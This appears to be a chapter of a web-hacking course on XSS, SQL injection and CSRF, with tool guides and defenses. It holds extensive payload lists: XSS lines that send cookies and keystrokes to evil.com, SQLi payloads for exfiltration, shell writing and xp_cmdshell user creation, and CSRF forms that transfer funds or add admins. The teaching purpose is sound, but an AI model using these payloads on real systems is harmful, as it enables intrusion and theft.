  • No component inventory
  • Log4j, jQuery, Bootstrap vulnerabilities

A07: Auth Failures

Broken authentication and session management:

  • Weak passwords allowed
  • Credential stuffing vulnerable
  • Session fixation
  • Session tokens in URL
  • Missing MFA
  • Sessions that don't expire

A08: Software Integrity Failures

Code from untrusted sources, insecure updates:

  • CDN scripts without integrity checks
  • Insecure CI/CD pipelines
  • Auto-updates without verification
  • Deserialization vulnerabilities

A09: Logging Failures

Insufficient logging and monitoring:

  • Login failures not logged
  • No alerting on attacks
  • Logs stored only locally
  • Sensitive data in logs
  • No log integrity protection

A10: SSRF

Server-Side Request Forgery - server makes requests on attacker's behalf:

  • Access internal services
  • Cloud metadata endpoints
  • Port scanning from server
  • Bypass access controls
  • Read local files via file:// protocol

⚠️ Beyond the Top 10

The OWASP Top 10 is a starting point, not a complete list. Other critical vulnerabilities include:

  • XML External Entity (XXE): Parsing XML that references external entities
  • Insecure Direct Object Reference (IDOR): Direct access to objects via user input
  • Business Logic Flaws: Abusing legitimate functionality
  • Race Conditions: Exploiting timing windows
  • HTTP Request Smuggling: Bypassing security with malformed requests

Cross-Site Scripting (XSS)

XSS allows attackers to inject malicious JavaScript into web pages viewed by other users. It's one of the most common and dangerous vulnerabilities - and one of the most fun to exploit. When you find XSS, you can make the victim's browser do almost anything they could do themselves.

πŸ“Ί The Hijacked TV Broadcast Metaphor

Imagine a TV station (the website) that plays viewer-submitted content without checking it. An attacker submits a video that says "Send your bank password to this address!" and it gets broadcast to millions of viewers. That's XSS - injecting your content into a trusted source so victims trust and execute it.

Types of XSS

πŸ”„ Reflected XSS

Payload is in the request and immediately reflected in the response. Victim must click a malicious link. Non-persistent.

# Vulnerable URL: /search?q=<script>alert(1)</script> # Page shows: "Results for <script>alert(1)</script>" # Attack: Send victim this link: https://shop.com/search?q=<script> document.location='https://evil.com/steal?c=' +document.cookie</script>

πŸ’Ύ Stored XSS

Payload stored in database, served to ALL users who view that page. Persistent and more dangerous. Comments, profiles, messages.

# Attacker posts comment: "Great article! <script> fetch('https://evil.com/steal?c=' +document.cookie) </script>" # Every visitor to the page: - Gets the script executed - Cookies sent to attacker - Session hijacked!

πŸ”§ DOM-based XSS

Payload never hits server - client-side JavaScript processes attacker input unsafely. Harder to detect because server logs show nothing suspicious.

# Vulnerable JavaScript: document.write(location.hash) document.getElementById('x').innerHTML = url # Attack: page.html#<img src=x onerror=alert(1)> # Sources: location.hash, location.search # Sinks: innerHTML, document.write, eval

XSS Payloads - From Basic to Advanced

# ==================== BASIC DETECTION ==================== <script>alert('XSS')</script> # Classic <script>alert(document.domain)</script> # Prove which domain <script>alert(document.cookie)</script> # Show cookies # ==================== TAG-BASED (when <script> filtered) ==================== <img src=x onerror=alert(1)> <svg onload=alert(1)> <svg/onload=alert(1)> # No space needed <body onload=alert(1)> <input onfocus=alert(1) autofocus> <marquee onstart=alert(1)> <video src=x onerror=alert(1)> <audio src=x onerror=alert(1)> <details open ontoggle=alert(1)> <iframe src="javascript:alert(1)"> <object data="javascript:alert(1)"> # ==================== EVENT HANDLER VARIATIONS ==================== <div onmouseover=alert(1)>Hover me</div> <div onclick=alert(1)>Click me</div> <div onmouseenter=alert(1)>x</div> <body onpageshow=alert(1)> <body onresize=alert(1)> (resize window) # ==================== BYPASSING FILTERS ==================== # Case variation <ScRiPt>alert(1)</ScRiPt> <IMG SRC=x ONERROR=alert(1)> # Encoded characters <script>alert(String.fromCharCode(88,83,83))</script> # "XSS" <img src=x onerror=alert(1)> # HTML entities <img src=x onerror=\u0061lert(1)> # Unicode # Breaking out of attributes " onmouseover="alert(1) ' onfocus='alert(1)' autofocus=' # Nested/double encoding %253Cscript%253Ealert(1)%253C/script%253E # JavaScript protocol <a href="javascript:alert(1)">click</a> <a href="JaVaScRiPt:alert(1)">click</a> # Data URI <a href="data:text/html,<script>alert(1)</script>">click</a> # SVG with embedded script <svg><script>alert(1)</script></svg> # Template literals (ES6) <script>alert`1`</script> # ==================== STEALING COOKIES ==================== <script> new Image().src="https://evil.com/steal?c="+document.cookie; </script> <script> fetch('https://evil.com/steal?c='+document.cookie); </script> <img src=x onerror="this.src='https://evil.com/steal?c='+document.cookie"> # ==================== KEYLOGGER ==================== <script> document.onkeypress=function(e){ new Image().src="https://evil.com/log?k="+e.key; } </script> # ==================== FORM HIJACKING ==================== <script> document.forms[0].action='https://evil.com/phish'; </script> # ==================== DEFACEMENT ==================== <script> document.body.innerHTML='<h1>Hacked by XSS</h1>'; </script> # ==================== BEEFHOOK (Advanced) ==================== <script src="https://evil.com/hook.js"></script> # BeEF framework gives full browser control

XSS Contexts and Breakouts

# ==================== HTML CONTEXT ==================== # Your input appears in HTML body <p>Hello USER_INPUT</p> # Payload: <script>alert(1)</script> # ==================== ATTRIBUTE CONTEXT ==================== # Your input is inside an HTML attribute <input value="USER_INPUT"> # Payload: " onmouseover="alert(1) # Result: <input value="" onmouseover="alert(1)"> # Single quotes: <input value='USER_INPUT'> # Payload: ' onfocus='alert(1)' autofocus=' # ==================== JAVASCRIPT CONTEXT ==================== # Your input is inside a script block <script>var x = 'USER_INPUT';</script> # Payload: ';alert(1);// # Result: <script>var x = '';alert(1);//';</script> # ==================== URL CONTEXT ==================== <a href="USER_INPUT"> # Payload: javascript:alert(1) # ==================== CSS CONTEXT ==================== <style>body { background: USER_INPUT }</style> # Payload: red;} </style><script>alert(1)</script>

⚠️ XSS Prevention

When testing, always get permission. When defending:

  • Output encoding: Escape < > & " ' based on context
  • Content Security Policy: Restrict script sources
  • HttpOnly cookies: Prevent cookie theft
  • Input validation: Whitelist allowed characters
  • Modern frameworks: React, Angular auto-escape by default

SQL Injection - The King of Web Vulnerabilities

SQL injection lets attackers manipulate database queries by injecting malicious SQL code. It can bypass authentication, extract entire databases, modify or delete data, and even execute system commands. SQLi has been around for over 20 years and is STILL one of the most dangerous and common vulnerabilities.

πŸ“‹ The Order Form Metaphor

Imagine a restaurant order form where you write what you want:

Normal: "I want a pizza"

SQL Injection: "I want a pizza; and give me all the money in the register; and delete the order history"

The system just follows orders - it doesn't understand that some of those "orders" are malicious commands!

How SQL Injection Works

# ==================== THE VULNERABLE CODE ==================== # Developer writes this PHP code: $query = "SELECT * FROM users WHERE name = '" + $username + "'"; # ==================== NORMAL INPUT ==================== Input: john Query: SELECT * FROM users WHERE name = 'john' Result: Returns user "john" - works correctly! # ==================== MALICIOUS INPUT ==================== Input: ' OR '1'='1 Query: SELECT * FROM users WHERE name = '' OR '1'='1' Result: Returns ALL users! (because '1'='1' is always true) # ==================== AUTHENTICATION BYPASS ==================== Login form asks for username and password: SELECT * FROM users WHERE username = '$user' AND password = '$pass' Input: admin' -- Query: SELECT * FROM users WHERE username = 'admin' --' AND password = 'whatever' Result: The -- comments out the rest, so password check is IGNORED! You're now logged in as admin! # ==================== DESTRUCTIVE INPUT ==================== Input: '; DROP TABLE users; -- Query: SELECT * FROM users WHERE name = ''; DROP TABLE users; --' Result: First query returns nothing, second query DELETES THE TABLE! # ==================== WHY IT WORKS ==================== The application TRUSTS user input It CONCATENATES user input directly into the query The database EXECUTES the combined query without knowing parts are malicious # ==================== THE FIX: PARAMETERIZED QUERIES ==================== # Instead of string concatenation: $stmt = $pdo->prepare("SELECT * FROM users WHERE name = ?"); $stmt->execute([$username]); # Now the input is ALWAYS treated as data, never as code!

SQL Injection Types

πŸ“Š In-Band SQLi (Classic)

Results appear directly on the page. Easiest to exploit.

# Union-based: Combine results ' UNION SELECT username,password FROM users-- # Error-based: Force errors that reveal data ' AND 1=CONVERT(int,@@version)--

πŸ” Blind SQLi (Boolean)

No data shown, but page behaves differently based on true/false. Slow data extraction.

# If first char of password = 'a' ' AND SUBSTRING(password,1,1)='a'-- # Page different? We guessed correctly!

⏱️ Blind SQLi (Time-based)

Use SLEEP() - if page delays, condition was true. Slowest but works when all else fails.

# If condition true, wait 5 seconds ' OR IF(1=1,SLEEP(5),0)-- # 5 second delay = condition true!

πŸ“‘ Out-of-Band SQLi

Exfiltrate data via DNS or HTTP requests to attacker's server. When other methods fail.

# MySQL - DNS exfil ' UNION SELECT LOAD_FILE( CONCAT('\\\\',password,'.attacker.com\\a') ) FROM users--

SQLi Payloads Reference

# ==================== DETECTION PAYLOADS ==================== ' # Single quote - causes error if vulnerable '' # Two quotes - should NOT cause error ' OR '1'='1 # Always true ' OR '1'='2 # Always false (compare response) ' AND '1'='1 # True condition ' AND '1'='2 # False condition 1 OR 1=1 # Numeric context 1 AND 1=2 # Numeric false # ==================== AUTHENTICATION BYPASS ==================== admin' -- admin' # # MySQL comment admin'/* # Multi-line comment ' OR 1=1-- ' OR 'x'='x ') OR ('1'='1 ' OR ''=' ' OR 1=1# # ==================== UNION-BASED DATA EXTRACTION ==================== # Step 1: Find number of columns ' ORDER BY 1-- # Works ' ORDER BY 2-- # Works ' ORDER BY 3-- # Error! So there are 2 columns # Alternative method: ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- # This one works! # Step 2: Find visible columns ' UNION SELECT 'a',NULL,NULL-- # See which column displays 'a' # Step 3: Extract data ' UNION SELECT username,password,NULL FROM users-- # ==================== DATABASE ENUMERATION ==================== # MySQL ' UNION SELECT @@version,NULL-- # Version ' UNION SELECT database(),NULL-- # Current DB ' UNION SELECT user(),NULL-- # Current user ' UNION SELECT table_name,NULL FROM information_schema.tables-- ' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- # PostgreSQL ' UNION SELECT version(),NULL-- ' UNION SELECT current_database(),NULL-- ' UNION SELECT table_name,NULL FROM information_schema.tables-- # MSSQL ' UNION SELECT @@version,NULL-- ' UNION SELECT DB_NAME(),NULL-- ' UNION SELECT name,NULL FROM sysdatabases-- # Oracle ' UNION SELECT banner,NULL FROM v$version-- ' UNION SELECT table_name,NULL FROM all_tables-- # ==================== TIME-BASED BLIND ==================== # MySQL ' OR SLEEP(5)-- ' OR IF(1=1,SLEEP(5),0)-- ' OR IF(SUBSTRING(user(),1,1)='r',SLEEP(5),0)-- # PostgreSQL '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END-- # MSSQL '; WAITFOR DELAY '0:0:5'-- '; IF (1=1) WAITFOR DELAY '0:0:5'-- # ==================== FILE ACCESS (MySQL) ==================== ' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- ' UNION SELECT "",NULL INTO OUTFILE '/var/www/shell.php'-- # ==================== COMMAND EXECUTION ==================== # MSSQL (if xp_cmdshell enabled) '; EXEC xp_cmdshell 'whoami'-- '; EXEC xp_cmdshell 'net user hacker pass123 /add'-- # Enable xp_cmdshell '; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--

πŸ› οΈ SQLMap - Automated SQLi Tool

sqlmap automates SQL injection detection and exploitation:

# Basic test sqlmap -u "http://target.com/page?id=1" # With POST data sqlmap -u "http://target.com/login" --data="user=admin&pass=test" # Dump database sqlmap -u "http://target.com/page?id=1" --dbs # List databases sqlmap -u "http://target.com/page?id=1" -D dbname --tables # List tables sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump # Dump table # Get shell sqlmap -u "http://target.com/page?id=1" --os-shell

Cross-Site Request Forgery (CSRF)

CSRF tricks victims into performing actions they didn't intend by exploiting the browser's automatic inclusion of cookies on cross-origin requests. If you're logged into your bank and visit a malicious page, that page can transfer money from your account without you knowing.

βœ‰οΈ The Forged Letter Metaphor

Imagine you're a king who trusts any letter with your royal seal. CSRF is like someone tricking you into putting your seal on a blank piece of paper, then writing whatever orders they want above your signature. The kingdom (website) sees your seal and follows the orders, not knowing they weren't really from you.

How CSRF Works

# ==================== THE ATTACK SCENARIO ==================== 1. Victim logs into bank.com - Browser stores session cookie: session=abc123xyz 2. Victim (still logged in) visits evil.com 3. evil.com contains hidden attack code: <img src="https://bank.com/transfer?to=attacker&amount=10000"> 4. What happens: - Browser makes GET request to bank.com - Browser AUTOMATICALLY includes bank.com cookies! - Bank sees authenticated request from victim - Bank thinks victim wants to transfer money - $10,000 goes to attacker # ==================== WHY IT WORKS ==================== - Same-Origin Policy blocks evil.com from READING bank.com responses - But SOP does NOT block evil.com from SENDING requests to bank.com - Cookies are automatically included on any request to their domain - Bank can't distinguish between legitimate and forged requests # ==================== MORE DANGEROUS: POST REQUESTS ==================== <form action="https://bank.com/transfer" method="POST" id="csrf-form"> <input type="hidden" name="to" value="attacker_account"> <input type="hidden" name="amount" value="10000"> </form> <script> document.getElementById('csrf-form').submit(); </script> # Victim visits evil.com β†’ Form auto-submits β†’ Money transferred! # ==================== REAL-WORLD EXAMPLES ==================== # Change email (for account takeover) <form action="https://target.com/settings/email" method="POST"> <input name="email" value="attacker@evil.com"> </form> # Change password <form action="https://target.com/settings/password" method="POST"> <input name="new_password" value="hacked123"> <input name="confirm_password" value="hacked123"> </form> # Add admin user <form action="https://admin.target.com/users/create" method="POST"> <input name="username" value="backdoor"> <input name="role" value="admin"> </form> # Delete account <form action="https://target.com/account/delete" method="POST"> <input name="confirm" value="yes"> </form>

CSRF Attack Variations

πŸ–ΌοΈ Image Tag

Simple GET request attacks. Limited but works for poorly designed sites.

<img src="https://bank.com/transfer?to=attacker&amount=100"> # Invisible, auto-loads

πŸ“ Auto-submitting Form

For POST-based actions. Most common CSRF attack.

<body onload="document.forms[0].submit()"> <form action="target" method="POST"> <input name="action" value="bad"> </form> </body>

πŸ”— Link-based

Requires victim to click. Can be disguised.

<a href="https://bank.com/transfer?to=attacker&amount=100"> Click for free iPhone! </a>

πŸ“‘ AJAX-based

More complex, requires CORS misconfiguration.

<script> fetch('https://target.com/api/action', { method: 'POST', credentials: 'include', body: 'malicious=data' }); </script>

CSRF Protection Methods

# ==================== CSRF TOKENS (Primary Defense) ==================== # Server generates random token, includes in form: <form action="/transfer" method="POST"> <input type="hidden" name="csrf_token" value="j8h2f9d8h2f9d8h2f9..."> <input name="to" value="..."> <input name="amount" value="..."> </form> # Server validates token matches session # Attacker can't guess the token! # BUT: If there's XSS, attacker can READ the token from the page! # ==================== SAMESITE COOKIES (Modern Defense) ==================== Set-Cookie: session=abc123; SameSite=Strict # Cookie NOT sent on cross-site requests Set-Cookie: session=abc123; SameSite=Lax # Cookie sent on top-level navigations (links) # NOT sent on form submissions, AJAX, images # SameSite=None (DANGEROUS - must have Secure) Set-Cookie: session=abc123; SameSite=None; Secure # Sent on ALL requests - provides no CSRF protection # ==================== OTHER DEFENSES ==================== # Origin/Referer header checking # Server checks if Origin/Referer header matches expected # Can be bypassed in some scenarios # Re-authentication for sensitive actions # Require password confirmation for changes # Good for high-value actions # Custom headers (for AJAX) # AJAX can set custom headers, forms cannot fetch('/api/transfer', { headers: { 'X-Requested-With': 'XMLHttpRequest' } }); # Server rejects requests without custom header # ==================== BYPASSING CSRF PROTECTION ==================== # Token not validated on server # Try removing the token parameter entirely # Token tied to wrong session # Use another user's token # Token in cookie (mirrored) # If csrf_cookie = csrf_param, try setting both # Referrer not checked properly # Try empty referrer, null origin # Method confusion # Change POST to GET (or vice versa)

Finding CSRF Vulnerabilities

CSRF Testing Checklist

  • βœ“ Identify state-changing actions (transfer money, change email, delete account)
  • βœ“ Check if CSRF token exists in forms
  • βœ“ Try removing the CSRF token - does the request still work?
  • βœ“ Try changing the CSRF token to a random value
  • βœ“ Try using a CSRF token from another user's session
  • βœ“ Check if action works via GET (change POST to GET)
  • βœ“ Check SameSite cookie attribute (if None or missing = vulnerable)
  • βœ“ Test from an attacker-controlled page with the forged request

Essential Web Hacking Tools

These are the tools every web hacker uses daily. Master them and you'll be able to find vulnerabilities that automated scanners miss. The right tool doesn't make you a hacker - understanding how to use it does.

πŸ”§ The Craftsman's Toolbox

A carpenter doesn't just own a hammer - they know exactly when to use a hammer vs. a screwdriver vs. a saw. Similarly, a web hacker needs to know when to use Burp vs. curl vs. the browser's dev tools. The tool should be an extension of your thinking, not a replacement for it.

πŸ”΅ Burp Suite

The ultimate web proxy. Industry standard for penetration testers. Intercept, modify, and replay HTTP requests. Essential for finding and exploiting vulnerabilities.

  • Proxy: Intercept all traffic
  • Repeater: Manual testing
  • Intruder: Automated attacks
  • Scanner: Vuln scanning (Pro only)

🟒 OWASP ZAP

Free alternative to Burp. Great for beginners. Includes automated scanning and active attack capabilities.

  • 100% free and open source
  • Built-in automated scanner
  • HUD for in-browser testing
  • Active community

πŸ’‰ SQLMap

Automated SQL injection tool. Detects, exploits, and dumps databases. Can also get OS shell access.

  • Supports many databases
  • Automatic bypass techniques
  • Database takeover features
  • File read/write capabilities

πŸ” Nikto

Web server scanner. Finds misconfigurations, outdated software, dangerous files, and common vulnerabilities.

  • 6,700+ potentially dangerous files
  • Server version detection
  • Multiple output formats
  • Fast initial recon

πŸ“ Gobuster / Dirbuster / Feroxbuster

Directory and file bruteforcing. Find hidden admin panels, backup files, config files, and forgotten endpoints.

  • Fast multi-threaded
  • Recursive scanning
  • Custom wordlists
  • Extension bruteforcing

πŸ› οΈ Browser DevTools

Built into every browser. Inspect requests, modify DOM, debug JavaScript. Free and surprisingly powerful.

  • Network tab: See all requests
  • Console: Run JavaScript
  • Elements: Modify DOM
  • Application: Cookies/storage

🌐 Nmap

Network scanner. Find web servers, identify technologies, check for vulnerabilities with NSE scripts.

  • Port scanning
  • Service detection
  • HTTP enumeration scripts
  • Vulnerability scanning

πŸ“ Wfuzz / ffuf

Web fuzzer. Test parameters, headers, paths with custom payloads. More flexible than directory bruteforcing.

  • Fuzz any part of request
  • Filter responses
  • Multiple wordlists
  • Fast and efficient

Getting Started with Burp Suite

# ==================== INSTALLATION & SETUP ==================== # 1. Download Burp Suite Community (free) from portswigger.net # 2. Configure browser to use Burp proxy: # Settings β†’ Proxy β†’ Manual β†’ HTTP Proxy: 127.0.0.1, Port: 8080 # 3. Visit http://burp and download CA certificate # 4. Install certificate in browser (for HTTPS interception) # ==================== BURP SUITE TABS ==================== # TARGET TAB # - Site map: All discovered URLs # - Scope: Define what's in/out of testing # - Right-click β†’ Add to scope # PROXY TAB # - Intercept: Catch and modify requests in real-time # - HTTP history: All requests/responses # - Options: Configure proxy settings # Toggle intercept: "Intercept is on/off" button # REPEATER TAB # - Send requests manually # - Modify and resend # - Compare responses # - Right-click request β†’ "Send to Repeater" # INTRUDER TAB # - Automated attacks # - Bruteforce, fuzzing, enumeration # - Define payload positions with Β§markersΒ§ # - Attack types: Sniper, Battering Ram, Pitchfork, Cluster Bomb # DECODER TAB # - Encode/decode data # - Base64, URL, HTML, Hex, etc. # - Smart decode # COMPARER TAB # - Diff two responses # - Find subtle differences # - Good for blind testing # ==================== BASIC WORKFLOW ==================== # 1. Set scope # Target β†’ Scope β†’ Add target domain # 2. Spider the site # Browse with intercept OFF # Or: Target β†’ Site map β†’ Right-click β†’ Spider this host # 3. Review interesting endpoints # Look for: login pages, APIs, file uploads, search, user input # 4. Test in Repeater # Right-click request β†’ Send to Repeater # Modify parameters, test payloads # Analyze responses # 5. Automate with Intruder # Right-click request β†’ Send to Intruder # Clear Β§ β†’ Add Β§ around payload positions # Payloads tab β†’ Load wordlist # Start attack # ==================== PRO TIPS ==================== # Keyboard shortcuts: Ctrl+R = Send to Repeater Ctrl+I = Send to Intruder Ctrl+G = Go to (navigate request history) # Save everything: Project β†’ Save project as... # Extensions: Extender tab β†’ BApp Store Must-have: Logger++, Autorize, JWT Editor, Turbo Intruder

Command Line Tools

# ==================== CURL - HTTP SWISS ARMY KNIFE ==================== curl https://target.com # GET request curl -v https://target.com # Verbose (see headers) curl -I https://target.com # Headers only curl -X POST https://target.com/api # POST request curl -d "user=admin&pass=123" URL # POST data curl -H "Cookie: session=abc" URL # Custom header curl -H "Content-Type: application/json" \ -d '{"user":"admin"}' URL # JSON POST curl -b cookies.txt -c cookies.txt URL # Handle cookies curl -x http://127.0.0.1:8080 URL # Through Burp proxy curl --data-urlencode "param=<script>" URL # URL encode data # ==================== FFUF - FAST WEB FUZZER ==================== # Directory bruteforce ffuf -w /path/wordlist.txt -u https://target.com/FUZZ # Parameter fuzzing ffuf -w params.txt -u https://target.com/page?FUZZ=value # POST parameter fuzzing ffuf -w wordlist.txt -X POST -d "param=FUZZ" -u https://target.com # Filter by response size ffuf -w wordlist.txt -u https://target.com/FUZZ -fs 1234 # Filter by status code ffuf -w wordlist.txt -u https://target.com/FUZZ -fc 404 # ==================== GOBUSTER - DIRECTORY BRUTEFORCE ==================== gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt gobuster dir -u https://target.com -w wordlist.txt -x php,html,txt gobuster dns -d target.com -w subdomains.txt # ==================== SQLMAP - SQL INJECTION ==================== sqlmap -u "http://target.com/page?id=1" sqlmap -u "http://target.com/page?id=1" --dbs sqlmap -u "http://target.com/page?id=1" -D database --tables sqlmap -u "http://target.com/page?id=1" -D database -T users --dump sqlmap -r request.txt # From saved Burp request # ==================== NIKTO - WEB SERVER SCANNER ==================== nikto -h https://target.com nikto -h https://target.com -o output.html -Format html # ==================== WFUZZ - WEB FUZZER ==================== wfuzz -c -z file,wordlist.txt https://target.com/FUZZ wfuzz -c -z file,wordlist.txt -d "user=admin&pass=FUZZ" https://target.com/login wfuzz --hc 404 -z file,wordlist.txt https://target.com/FUZZ

Practice Platforms

πŸŽ“ PortSwigger Web Security Academy

Free labs covering all web vulnerabilities. Made by Burp Suite creators. Best structured learning path.

🎯 HackTheBox

Realistic machines to hack. Web challenges and full machines with web components. Great for practical skills.

πŸ”’ OWASP WebGoat

Deliberately vulnerable app to practice. Guided lessons for each vulnerability type.

πŸ› Bug Bounty Programs

HackerOne, Bugcrowd, Intigriti. Real targets with legal authorization. Get paid for finding bugs!

← Chapter 03: Linux Mastery Next: Chapter 05 - Exploitation β†’